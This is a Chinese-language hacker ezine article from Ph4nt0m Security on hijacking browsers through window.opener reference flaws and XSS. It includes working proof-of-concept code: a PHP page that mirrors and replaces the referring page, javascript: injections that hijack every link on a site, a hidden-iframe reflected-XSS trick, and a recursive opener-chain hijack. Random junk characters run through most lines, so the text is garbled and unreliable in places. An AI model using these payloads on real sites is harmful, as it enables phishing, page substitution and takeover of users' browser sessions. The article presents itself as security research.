==Ph4nt0m Security Team==
( E. J& n1 M5 m% I. w; x
$ F' j1 y3 J- t Issue 0x03, Phile #0x05 of 0x07
5 ~( Y1 S8 V8 i2 L7 F& o/ a - M$ ^8 y; i0 J" C0 @" b
1 V3 O& e: H% w0 V4 M|=---------------------------------------------------------------------------=|
4 M4 l' [9 u' e/ G2 G! }|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|3 B. ?- t' B$ o- a
|=---------------------------------------------------------------------------=|8 g" l2 {7 n& n/ b8 R4 a
|=---------------------------------------------------------------------------=|- g J7 V/ F. s% f0 q T% M( q
|=------------------------=[ By rayh4c ]=---------------------------=|
9 u* P) a; G' e1 I u8 [" L|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|! {8 P( l" [4 D5 ` d C
|=---------------------------------------------------------------------------=|6 D7 _5 P J& R( Y
1 I, c2 k- B' W3 W8 u
# ^+ T) N% V$ O; D2 A. b- U0 [; k[目录]
1 C- D9 ^* L1 u9 Q. C# l& j# _' Z6 c0 {. [+ V1 Q- S
1. 前言' K x# d$ H4 K: S; Z+ h6 B8 \
2. 同源策略简叙
7 _& i$ B* {7 W; A3. 理解window对象的同源策略) y% Z$ ~% ]$ U0 e9 [" B
4. 窗口引用功能中的同源策略漏洞
* ]( R: j8 M8 e5 I+ I 4.1 父窗口引用子窗口的同源策略问题
: E( k" d5 z8 v9 s 4.2 子窗口引用父窗口的同源策略问题
8 S+ E. q3 p" Q5. 利用窗口引用漏洞劫持浏览器" D: z W! O( ^6 C6 _, `
6. 利用XSS漏洞劫持浏览器" H, b8 [2 j5 B2 B9 ~- w/ ?
6.1 正向跨窗口劫持# @# x8 X! y' r2 l
6.2 反向跨窗口劫持
6 ?6 b+ j; e+ f 6.3 极度危险的跨框架窗口引用劫持
; E1 }$ ?( i/ o) @# i8 g! R 6.4 极度危险的正反向跨窗口递归劫持
* t$ |" W. B* U% y7 M7 P0 G 6.5 完全控制浏览器
; o- k1 @2 V% I6 L7 l# Q7. 后记; P% r, E4 O7 J4 O2 Q- a* S
8. 参考
8 q! R6 a, Y( ]' ^7 v" g8 c
, A, r C9 h3 S$ ~7 J& I) l
$ h/ {4 J8 b2 B7 @% E; R一、前言
% g8 X" J& {& m3 w! B, B, K! j/ W6 q3 B0 S7 e2 p! j
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋3 b; ~5 p8 d: u/ ]7 v
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session" p5 W, o1 y! F$ l$ z" Q3 G% d
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被$ i- s0 Q4 k9 X- @+ u
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
+ g7 C5 t' Q2 W$ r. O1 ^ D" x% g% c
I* V. h: A+ ?1 {2 d
二、同源策略简叙
, V ` n# w: ?' U& d. f% _
' l) d% w% p6 L) ?: R 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以2 ]4 [7 T {, Z6 j' V- ~
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都- [4 c8 n3 i+ g
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木1 y4 r. D B) K$ U
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个3 ?8 V) e! h% H
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。2 i9 F3 C7 c' |
0 z2 O2 g4 b# H) S/ F3 L
! O% K" {4 d7 s; N, v三、理解window对象的同源策略
8 S4 {% d; v' x
9 t! P: J8 k. f5 K( X% H% n 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
' u, x/ Y5 I3 p1 q象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
" j/ V( t" ], @5 @# Y8 j h. q
) c" ^( o8 x) r# j--code-------------------------------------------------------------------------
1 N a+ w$ n0 z5 }<script language="javascript">
' J2 z1 D) z4 s' Y$ L/ `for(p in window) document.write(p+"<br>");* K5 r) [$ r9 s8 K, L, `- ]
</script>
. H, G- y1 Y4 r2 a0 H) |4 m-------------------------------------------------------------------------------
* S2 M4 P5 m9 `, j) ^: ~) B2 J! Y x# `
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方! `, j- ]: D7 t3 g4 j4 w: _4 m
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
$ S* I" V' [: J! U; q V这些属性和方法就必须遵循同源策略。5 {1 s. G# ^1 r& s! Z- z! Y
4 f! e+ c& w" I7 V' W" Y
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那& a9 @3 b l0 |" ~( J6 s
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
8 I3 D" _+ D. V" C的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这2 s3 F) x; k3 @/ o
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
4 W( _7 M7 b* C2 d值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
' ~6 U+ W, B7 S/ y. C属性并没有被拒绝访问。
' s7 N3 D$ n. K) F$ ]; p! z2 j( H& U) w. A
--demo.html--------------------------------------------------------------------1 _- t$ W8 E }) z( D
<script language="javascript">
( |5 G' i. K! qfunction allPrpos(obj) {
: B, x) M' \' q' P: R2 W6 L var props = "<table><tr><td>名称</td><td>值</td>";
. r6 P; a* l/ ~& m0 g$ P for(var p in obj){ # j% S- q c8 G$ J. c( N
if(typeof(obj[p])=="function"){ , a7 q9 |( h/ u
obj[p]();
, ]8 B' E% i) O: v }else{ / M& W% U# l0 B. N# c
try 2 M6 N4 g5 z$ U$ Z" u1 V) B
{ 5 Z) A: R4 s& F! k. s* e! U
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
: H& t! R8 z5 Z( m) a$ g: ?3 G. Y }
" E; Z& W6 A1 w, i8 l; G catch (ex)
* l3 r' K( R3 y# ~* F {
7 n6 X0 G# q8 ] " }; T# y0 [* i8 V5 a q9 }3 ?4 L$ A
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
& o# X% K: P) F, Z2 F } 0 B2 ?) K2 ` E0 y3 p
" w( P9 W/ b. y% T }
, w. p- d$ `8 y* `+ v5 h }
/ q: e! Y6 t' ~8 S! @+ ]: W
; n. {4 I% p- k8 v document.write(props+"</table>");
6 a- h: }$ q Z3 q: J1 K* ?0 ~( U}
8 @ i/ b4 d l& y" a
- {( J* m3 ^% \- w% ~; e1 D3 M; @$ xfunction createWin() {
& S5 J/ Z6 l; `+ y8 Y% {" T( { newWin = window.open ("http://www.google.com");
& I9 p4 W0 o0 [ m' v setTimeout(function(){allPrpos(newWin)},2000); 6 q2 x. \0 T4 R* y
}
5 ~" W, j4 c* {& s" e0 k2 h/ ^( |- w5 n, H. i
</script>
{; h% N: I1 j0 f# G U
" b/ k/ O, k# n<button onclick='createWin()'>创建一个非同源子窗口测试</button>" ^2 q+ N$ `3 @
-------------------------------------------------------------------------------8 @! h9 w1 E7 R. s% m) @
+ n5 F$ `# b. n$ j2 @
0 | D1 d& H1 Z. M
四、窗口引用功能中的同源策略漏洞) m# E0 v, p9 x: z2 Y, c
7 l2 O; u, w* ~. w
4.1 父窗口引用子窗口的同源策略问题
7 q+ N2 a. i3 q" m3 b1 G% L9 J, Y9 c+ U- {
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
0 F6 f: ~+ |8 ]% M8 L但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道2 z X5 T3 i; C5 M3 C' s
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
+ y" P! r# V, X6 \3 G0 a行测试,会发现父窗口可以控制非同源子窗口location属性值。
9 G' N, P. i) F$ F: H! k1 E( W$ M# ?' m; ]3 i: h
--vul1.html--------------------------------------------------------------------
* F; S9 M+ j( l* N<script language="javascript">
K3 U2 i) C% Z7 I L0 Vfunction createWin() {
- v: _6 X) |2 @9 v( m; w newWin = window.open ("http://www.google.com"); 9 u3 t" K" L* K6 s# F; z: ~
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
2 z) U0 R. Z1 ` s1 f} 9 _4 b6 [3 Y$ X0 _: ^% M
</script>3 l1 i: H) }2 s% u- |- N6 Q
( @' |0 ]+ A9 i<button onclick='createWin()'>创建一个非同源子窗口测试</button>
) j" Y3 O: j3 A+ y) |3 n' R-------------------------------------------------------------------------------# j' z n# F9 _( T
9 c- z$ \/ J" S! {' Y1 }) N
! K' i3 d+ g6 e) J! d/ _4.2 子窗口引用父窗口的同源策略问题/ K7 t% a- c7 k l
+ O% `! @) T$ h/ A/ J, e. S. h 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
, X% ^* w; u; {$ h用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
# X! v! _! r3 M! r' U8 L可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
S$ i6 _; C, S6 B/ \会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。% m) x9 [3 j3 n7 S: l( N3 ~
/ b1 g O. \) a8 O2 T--code-------------------------------------------------------------------------
( _) R4 y' Q' \4 o! S5 x2 r; b5 c4 E# a4 x# G. a
javascript:window.opener.location = "http://www.80sec.com";void(0);
6 ]0 L7 p6 |4 s- y6 u k
: J6 V" @! k, Z-------------------------------------------------------------------------------3 j( G; x5 c' X" K6 z; f" H
) \& R. d5 Y/ i
6 ?5 l/ [8 z2 C五、利用窗口引用漏洞劫持浏览器; t6 \- A2 k7 P/ v& {
1 U/ i1 H+ H" a
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
8 r3 S* l7 x7 b窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
/ N W* c! \8 f! O7 o2 o2 }5 ?么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
# V) p! x9 |; K6 q' } ~: S2 t! |" j8 [; M; q
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产2 V- l& k7 v1 R1 @( [
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或' k( s, l- s1 P7 n
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接! ^! [7 B# F6 S/ S% i; N, F, F! @
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下" F+ j, h3 d6 y' {0 U
会产生什么可怕的后果。+ f9 d: G3 }6 u9 U% s
: }9 R& o' y! J# z9 u 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我5 w/ ~ A3 T. G4 i! p
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
; V2 c2 E1 X5 _/ u2 J这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
, W( r0 s* N3 }# Q2 M, X- J1 C候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可2 O- @' Y! c8 j- R5 Z
以做更多的事情,所有的一切仅仅是因为点击了一个链接。: l* j/ }$ z( Q, a+ a
0 {! w. ]& B1 e/ w8 h" y) B# ~7 h
--hjk_ref.php------------------------------------------------------------------0 ~' o: X& E8 s% r: ^6 e1 C
<?php
/ ]+ t7 O9 Q) ?if (array_key_exists("HTTP_REFERER", $_SERVER)) {& I" [* G& A4 U$ I5 J, O* P) P
$Url_Mirror = $_SERVER["HTTP_REFERER"];! c/ v, {( [3 F% m: d
}
7 ^ B+ Y' J9 P' ~& [ y8 y# S$ Qif(isset ($_GET['ref'])) {1 r7 d O. r' z# J
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
* S [! f4 A4 K4 L; `}, X n& n6 F+ j, M a& t5 m& m1 s, v
?>
+ w6 ]9 v- `' Y( ?& _' e. H
X, t; n6 ]5 G% p$ j* C) C1 H' d, W% V<script language="javascript">' ~- @9 ~8 g0 u( w B3 N( E
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
2 U7 Q, Q$ p; E5 q3 ]/ _! T7 i</script>2 y2 d$ w1 h( B, D. L% j$ W: C
-------------------------------------------------------------------------------
& B# P& _. v" w y. ?- r4 y
7 P# F0 m8 Z9 V: X* h" J 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
$ }8 H6 z( g: `' J3 O3 E( t+ S3 g& S5 \
% R. P+ O3 m+ ~( y: m% f
六、利用XSS漏洞劫持浏览器8 C. P; f# a) Y- C3 z9 H0 t% E
: W( Q/ D4 B5 v" g# R3 d( H 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为- } x( b( j& P% j1 h
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后% j U# C+ @! X! n" W" R5 P) V/ j
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
6 a% `, W. d0 X# V) E5 m讨论跨站师的终极技巧:
( T6 j7 t: w$ v6 S8 T9 y: a. K- T. s! x
) g6 f1 i( u+ C- x2 j( Z3 n8 B/ L# l' t, L% w, e
6.1 正向跨窗口劫持5 ^1 y9 u9 J6 Y; }& K% H6 H
1 K0 M8 G$ {1 C+ T
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
) U; k( h/ _5 H5 O# F主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链" y0 m& ]2 b( B( Q# Y
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话+ S6 ^4 z9 s: L3 [$ o
框脚本。
& {( |+ d& L1 P; R; c1 f+ X9 z
' ~8 o& K5 [3 ]% m! t--hijack_open.js---------------------------------------------------------------# Y" R6 X+ l( H2 z( j- g- L
8 |$ b3 v. H1 m* E: y
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
0 ]7 t8 y# ]3 t
8 v5 q2 B m* |-------------------------------------------------------------------------------
' V, J; {" q1 V0 Q+ W% c/ w
0 F$ @' Z. |; {: X
1 J8 j# y, a, s+ M8 o8 S6.2 反向跨窗口劫持
2 O- ~" f, [$ V; ~
. U4 {! U$ p+ ?8 r) t! o6 o 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代( q0 U0 {% B, @4 M! s( n& _3 ~4 J: N
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话" r1 g7 Y I- f
框脚本。9 k9 q, w/ H% Y
" L( U: X& P9 ~3 S" Y4 B% O
--hijack_opener.js-------------------------------------------------------------
) @. X" z: U, ~) g% K
4 K3 W% d) f2 v0 K% ?javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);2 X) r- S% m6 Z4 U8 \4 o
" W: E0 x u! A+ E( A7 b2 G-------------------------------------------------------------------------------9 M+ ?! p- @' t4 N0 S3 C
2 n3 l: H: t. x) W/ a' H
2 x2 C/ J8 n% V9 V' L6.3 极度危险的跨框架窗口引用劫持
- \. k+ c& i( t# |8 V' k% I) ?# E7 A& h
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞( l( m2 D" }# U
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
$ A0 ?" t R2 x+ d适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
8 B. G7 D; z/ Z: c! Y非持久型的XSS,如下:
* r# m0 C3 B0 W0 K4 d! h5 l0 @& X+ p j ]. ?8 d
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>: f: f8 U+ g7 b8 E& X6 p3 n
. s5 b/ H" I- L1 b% W7 w0 j6 Z3 r& k 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口" p' R9 U$ v2 S X- F8 [" d
注入脚本。6 V \( y; }% X+ J' n& I5 h
9 ~: X! w- ?0 N! q0 U a3 `+ u5 W--hijack_frame_opener.js-------------------------------------------------------
! F( q: ]' _7 m<script>" ?. y2 z; c! Z& \/ c" Y Q5 F" p
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
( i, u; g5 P- D3 f</script>
9 T4 y9 c/ k+ I+ c+ T: T! h5 F W-------------------------------------------------------------------------------2 D# \& K+ Y# \
7 h$ ?& \2 x `8 X4 }( S/ }
* A+ W) k" k5 W2 t- g6.4 极度危险的正反向跨窗口递归劫持 ?% E W! g2 u; c: M8 [) n
" M5 Y3 ?5 K$ B; C) D
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window" O2 W' t' Y; x. Q2 [8 p3 ` H+ z
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过, g. z& R; f8 b, i6 f
异常处理规避之间跨域页面的访问异常,代码如下:
* x E8 k# ^, N7 y [( A
5 @" V% h8 ^# q0 p& m" T( j--code-------------------------------------------------------------------------( _ ?3 l8 o8 D/ ^$ i
8 X' Y9 n# B1 N) {, L% I( T! i8 L9 x0 d
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
|! Q7 S) \$ a* O- U [3 [( H: z: L) X
-------------------------------------------------------------------------------
2 E$ \5 {) _& W- i7 r/ x' d- Z. N2 G, |( X
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可1 G6 z- l1 C- Y/ V T
以劫持B域之前的A域页面,从而实现“隔空打击”。
/ @% g/ m- K) H' ~: Z( H
) o4 s* ]% b5 y( i5 L0 D0 a' | 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
' S3 `, R6 i& s执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
3 _ j0 D1 e9 W# F+ g4 t/ h5 Q0 a9 M4 \3 u
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
: a* l' a, T6 h5 s( d3 z2 Z" o) ^$ m: U
' y* y7 b2 I7 M6.5 完全控制浏览器2 k% @ @/ Q2 @8 u9 ?" S8 K
. J( J, @" f- Q2 B 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则* \0 r5 c8 L. Y' m3 c
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS5 y/ s' F4 x' ?9 G z
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
2 x& I$ v j- S- y' h" J8 |2 ~: l而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
) U6 k$ U! _4 c: k9 i1 N列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站- z% ~( f+ J+ j& a
师的终极目标 - 完全控制浏览器。% m' @, y o& A! J8 X/ K
& k. M. s! Q# P
( o; N* F! h* g1 Z& j七、后记* D3 R, T E# i& K
% l6 l" N2 F# p ~
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全1 {" J: y- d7 F
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予1 _( |8 s2 T* D. X
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
; w+ V3 s+ X; L) K! W+ o- v
2 E) K" F0 m& d' H5 D8 [3 M. _( s& E4 Y+ R. _! H0 ~# b7 ^, y5 ~
八、参考
4 E% z. a+ ~) O# K0 v; r4 |: m O( r; s
1. http://en.wikipedia.org/wiki/Same_origin_policy: Q' `8 X% C0 T9 ~ x8 L1 `7 r6 N
2. http://code.google.com/p/browser ... licy_for_DOM_access8 e% S$ [, l# o! N- a: [+ O# o
3. http://www.w3.org/TR/Window/
2 v7 U& p, ?; C$ S" T' G& P4. http://www.80sec.com/release/browser-hijacking.txt
! ~, w g# g3 q! Z5. http://www.80sec.com/all-browser-security-alert.html
6 C- e" {. I6 n: v1 d7 @' l" Q( L6. http://www.80sec.com/ms08-058-attacks-google.html# G. i- s% t% {/ }& Y! @5 W; O
+ v4 m! t3 G) e/ n; h-EOF- |